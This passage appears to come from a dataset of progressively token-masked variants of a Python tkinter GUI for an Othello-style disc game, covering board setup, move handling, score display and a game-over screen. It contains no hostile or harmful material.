self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n <function token>\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n <function token>\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n <function token>\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n\n\nclass Custom_Board(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n 